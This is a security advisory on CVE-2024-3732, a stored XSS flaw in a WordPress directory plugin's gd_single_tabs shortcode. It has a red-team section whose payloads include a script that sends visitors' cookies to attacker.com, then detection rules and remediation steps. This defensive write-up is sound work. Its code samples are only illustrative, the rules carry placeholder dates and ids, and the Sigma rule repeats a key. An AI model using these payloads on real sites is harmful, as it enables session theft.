CVE-2024-3732

Executive Summary

CVE-2024-3732 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the GeoDirectory – WordPress Business Directory Plugin (and Classified Directory plugin) for WordPress, up to and including version 2.3.48. The flaw resides in the gd_single_tabs shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts. When a victim (including administrators) visits the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used for business directories and classifieds, making it a high-value target for attackers seeking to compromise WordPress sites.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that execute for any visitor makes this a significant risk for WordPress sites using the plugin.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the gd_single_tabs shortcode. The plugin fails to properly sanitize user-supplied attributes (e.g., tab_title, tab_content) before rendering them in the page. An attacker with contributor-level access can create or edit a post/page containing the shortcode and inject malicious JavaScript.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new post or page and inserts the [gd_single_tabs] shortcode with a crafted attribute, e.g., [gd_single_tabs tab_title="<script>alert('XSS')</script>"].
3. The plugin stores the malicious input in the database without proper escaping.
4. When any user (including admins) visits the page, the script executes in their browser.

Root Cause: Insufficient input sanitization and output escaping on the gd_single_tabs shortcode attributes.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

// In geodirectory-functions/shortcodes.php
function gd_single_tabs_shortcode($atts) {
    $atts = shortcode_atts(array(
        'tab_title' => '',
        'tab_content' => '',
    ), $atts);
    // Direct output without escaping
    echo '<div class="gd-tab">' . $atts['tab_title'] . '</div>';
}

Patched Code (expected fix):

function gd_single_tabs_shortcode($atts) {
    $atts = shortcode_atts(array(
        'tab_title' => '',
        'tab_content' => '',
    ), $atts);
    // Properly escape output
    echo '<div class="gd-tab">' . esc_html($atts['tab_title']) . '</div>';
}

The patch would involve using WordPress's esc_html() or wp_kses_post() functions to sanitize output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with GeoDirectory plugin <= 2.3.48
• Contributor-level account or higher

Exploit Steps:

1. Log in as a contributor.
2. Create a new post.
3. Insert the following shortcode in the post content:

   [gd_single_tabs tab_title="<script>alert(document.cookie)</script>"]
   

4. Publish the post.
5. When any user visits the post, the JavaScript executes.

Advanced Payload:

[gd_single_tabs tab_title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing [gd_single_tabs with suspicious attributes.
• Look for <script> tags or event handlers in shortcode attributes.
• Use WAF rules to block XSS payloads in shortcode parameters.

Prevention:

• Disable the plugin until a patch is available.
• Restrict contributor-level users from using shortcodes.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/geodirectory/geodirectory-functions/shortcodes.php (vulnerable file)
• Database: Posts/pages containing [gd_single_tabs with malicious attributes
• Network: Outbound requests to attacker-controlled domains (if payload exfiltrates data)
• Logs: WordPress audit logs showing creation/editing of posts by contributors with shortcode usage

Detection Engineering

YARA Rule

rule CVE_2024_3732_GeoDirectory_XSS {
    meta:
        description = "Detects malicious shortcode attributes in GeoDirectory plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3732"
    strings:
        $shortcode = "[gd_single_tabs"
        $xss1 = /<script[^>]*>/
        $xss2 = /on\w+\s*=\s*['"]/
    condition:
        $shortcode and ($xss1 or $xss2)
}

Sigma Rule

title: CVE-2024-3732 GeoDirectory Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS via gd_single_tabs shortcode
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "[gd_single_tabs"
        http.url|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3732 GeoDirectory Stored XSS Attempt"; flow:to_server; content:"[gd_single_tabs"; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict contributor-level users from using shortcodes via user role editor plugins.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.

Long-term Fix:

• Apply the official patch from GeoDirectory when available.
• Update to the latest version of the plugin (if patched).
• Conduct a security audit of all shortcodes in the plugin.

Workaround:

• Use a plugin like "Shortcodes Finder" to identify all posts using [gd_single_tabs and manually sanitize them.

Valters IT
DevSecOps & Cyber Threat Intelligence